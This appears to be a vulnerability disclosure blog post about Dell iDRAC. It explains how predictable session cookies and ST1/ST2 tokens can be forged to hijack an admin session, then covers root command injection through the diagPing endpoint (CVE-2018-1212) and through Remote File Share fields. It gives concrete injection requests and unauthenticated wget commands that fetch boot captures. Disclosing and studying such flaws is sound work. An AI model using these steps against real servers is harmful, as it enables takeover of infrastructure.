iDRAC provides out-of-band access to managed servers.

It allows you to manage a remote server, providing access to the screen and other management functions. Most server manufacturers offer similar capabilities (e.g. iLO, IPMI, …).

In effect, it’s an IoT device that is wired into the server allowing access even while the server is powered off.

It provides a web interface, and this tool affects that component.

When a new user loads the web interface they are assigned a session cookie (if one is not already present). The cookie name is _appwebSessionId_ and it will have a value which contains a pseudo-random hex string.

While repeated sessions will provide seemingly unrelated session values, in reality they’re closely related and predictable.

Inside the web service there are 3 values which are being used to generate these session values:

  • A heap structure pointer
  • A Unix timestamp (in seconds)
  • A counter

These three values are converted to a hex string, and then used as the input for MD5. The resulting MD5 hash is assigned as the session cookie.

The following is a snippet of code from http/host.cpp from mBedthis Appweb 2.4 which is the function used to generate the _appwebSessionId_ cookie. As such, any device or application using a similar version of Appweb may have similarly vulnerable session cookies.

//
//	Create a new session including the session ID.
//

MaSession *MaHost::createSession(int timeout)
{
	MaSession	*sp;
	char		idBuf[64], *id;
	static int	idCount = 0;

	//
	//	Create a new session ID
	//
	mprSprintf(idBuf, sizeof(idBuf), "%08x%08x%08x", this, time(0), idCount++);
	id = maMD5(idBuf);

	if (timeout <= 0) {
		timeout = sessionTimeout;
	}
	sp = new MaSession(this, id, timeout);
	mprFree(id);

	//
	//	Keep a hash lookup table of all sessions. The key is the session ID.
	//
	lock();
	sessions->insert(sp);
	unlock();
	return sp;
}

Each time a new session is assigned, the counter is incremented. The pointer is static and persists for the duration of the web server process, and the timestamp has almost no real variance and can more or less be discounted.

Since the pointer exists within a limited area of memory, the timestamp is known (from the server Date header, for example) and the counter only increments by 1 each new session there is not a lot of entropy in this value.

To start our attack, we will request the login page for the device to obtain a session cookie. We will then make reasonable guesses as to the pointer, counter and timestamp values and hash them locally, until our local guess matches the value we received from the iDRAC.

At this point, we can synchronise ourself with the RNG on the remote device and we perform the first step of the attack.

We request a second session cookie, and we use our previously discovered values to speedup the cracking process to only a few guesses. However, we can use newly recovered the counter value to tell if another user has requested a session, since we can now determine how many times the counter has been incremented since the previous request.

At this point, the trap is set. We’ll continue to repeat the previous step and monitor the counter value until we see the value increase. Once we see an increase, we will generate a set of candidate cookie values, using their counter value and the known heap pointer and a set of possible timestamps.

If the user who was assigned the session cookie has since logged in, then their session cookie can be used to retrieve pages that unauthenticated cookies can’t. In our case /sysSummaryData.html is used but other suitable candidates exist.

By submitting our candidate session cookies to such a page, we can find a logged in session.

At this point, you can retrieve some information from the device but to interface with the API to make changes a second set of session values are assigned upon login by the device which we’ll need to obtain.

Two values are assigned and used via javascript (they’ll be in the address bar and are given the identifiers ST1 and ST2).

This too takes 3 inputs as it’s seed value:

  • A counter
  • A Unix timestamp (in seconds)
  • The pid of the web server.

The following is a slightly cleaned up decompilation of the associated function from /usr/local/lib/appweb/libavctAuth.so used to generate the ST1 and ST2 tokens.

string AUtil::generateRandomKey(void)
{
  string tokenString;
  __pid_t pid;
  uint __seed;
  time_t current_time;
  string tokenPtr;
  tokenPtr = (char *)tokenString;
/*...*/
  current_time = time((time_t *)0x0);
  pid = getpid();
  srand(current_time + pid + generateRandomKey::lexical_block_0::counter);
  for (rValue = 0; rValue < 4; rValue = rValue + 1) {
    __seed = rand();
    snprintf(strBuf,0x40,"%08x",__seed);
    uStack168 = 1;
    std::basic_string<char,std::char_traits<char>,std::allocator<char>>::append(tokenPtr);
    srand(__seed);
  }
  if (generateRandomKey::lexical_block_0::counter < 0xffff) {
    generateRandomKey::lexical_block_0::counter = generateRandomKey::lexical_block_0::counter + 1;
  }
  else {
    generateRandomKey::lexical_block_0::counter = 0;
  }
/*...*/
  return (string)tokenPtr;
}

These 3 values are added together and then used in combination with srand()/rand(). Since these feed back into each other, the first 32 bits are all that really matters. You can test this yourself, by taking the first 32 bits of an ST1 value and use it as the input for srand() and see if rand() outputs the next 32 bits.

We’ll brute-force the keyspace for this, and submit a request with the session cookie and the ST2 value to an API endpoint on the device. This is an online attack, so takes longer.

Once we receive a success response from the API endpoint, we know that we’ve successfully forged the credentials of the admin session.

At this point, the tool will use CVE-2018-1212 to obtain code execution as root on the device. There is a second exploit utilising the remote ISO mount utility which also provides code execution detailed in the source code comments.

The below is a relatively ugly decompilation from Ghidra of /usr/local/bin/guiDataServer which handles the requests to the /data?get=diagPing URL on the server.

local_7c = 6;
bVar1 = std::operator==<char,_std::char_traits<char>,_std::allocator<char>_>(name,(char *)"diagPing")
if (bVar1) {
  local_ac = &bStack_4c;
  std::operator+<char,_std::char_traits<char>,_std::allocator<char>_>
    ((char *)&loc,(basic_string<char,std::char_traits<char>,std::allocator<char>_> *)"racadm ping ");
  local_7c = 2;
  std::operator+<char,_std::char_traits<char>,_std::allocator<char>_>
    (local_ac,(char *)&loc);
  local_7c = 1;
  std::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator=
    ((basic_string<char,std::char_traits<char>,std::allocator<char>> *)&this->m_commandStr,(basic_string *)&bStack_4c);
  local_7c = 2;
  std::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string
    ((basic_string<char,std::char_traits<char>,std::allocator<char>> *)&bStack_4c);
  local_7c = 6;
  std::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string
    ((basic_string<char,std::char_traits<char>,std::allocator<char>> *)&loc);
} else {
  local_7c = 6;
  std::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator=
    ((basic_string<char,std::char_traits<char>,std::allocator<char>> *)&this->m_commandStr,"#");
}

The function simply appends the provided ping target to “racadm ping ” which is then executed on the server. So constructing a request like “/data?get=diagPing(1.1.1.1|id)” results in the command “racadm ping 1.1.1.1|id” being executed, as root.

You can review the tool (and some helpful hints in the comments).

Extras

As noted earlier in the post, things like boot captures (videos of the host server boot process) can be obtained without any authentication. This is relatively simple to perform:

wget --no-check-certificate "https://${IDRAC_IP}/captures/bootcapture_"{0..99}

This also applies to iDRAC7, with a slight modification:

wget --no-check-certificate "https://${IDRAC_IP}/captures/bootcapture_"{0..99}".dvc"

Additional RCE may be available via the Remote File Share functionality. This is primarily intended as a means to mount a remote ISO image as a virtual CD-ROM device for OS and Driver installation.

By making a request as follows “/data?set=remoteFileshrUser:user,remoteFileshrPwd:%60touch%20%2ftmp%2fflag%60,remoteFileshrImage:%2F%2F127.0.0.1%2Frootme,remoteFileshrAction:1” these values get written to /etc/pm.conf under pm_str_rfs_username, pm_str_rfs_password, pm_str_rfs_rmpath.

Later these values are read by /avct/sbin/pm and then in the RfsUp() function they’re finally used to construct a command string and passed to system() and executed as root.

mkdir("/tmp/rfs",0x1ed);
iVar1 = strncmp(pRfsInfo->szPath,"//",2);
if (iVar1 == 0) {
  snprintf(&cmd_str,0x400,"mount %s %s -o user=%s,pass=\"%s\"",pRfsInfo,"/tmp/rfs",
pRfsInfo->szUser, pRfsInfo->szPasswd);
} else {
  snprintf(&cmd_str,0x400,"mount %s %s -o soft,nolock", pRfsInfo, "/tmp/rfs");
}
iVar1 = system(&cmd_str);

The above vulnerability is blind, we don’t see the output of the command as we do for CVE-2018-1212. I’m unsure if this vulnerability was ever assigned a CVE though all of this was reported to Dell, who state that they’ve been unable to replicate any of these results (except CVE-2018-1212).

In 2.91, which patched CVE-2018-1212, we see the addition of three functions to /usr/local/bin/guiDataServer, specifically validatePingParam, validatePing6Param and validateGetTraceLogParam (the unreported diagGetTraceLog method is almost identical to diagPing) which attempts to validate the input which would be appended to racadm commands and executed.

2.92 did not address the issues with the cryptographic security of the session tokens. I don’t have a device to test but I also believe that at this point the command execution on the Remote File Share is still vulnerable from a cursory review of the relevant functions on firmwares 2.90, 2.91 and 2.92.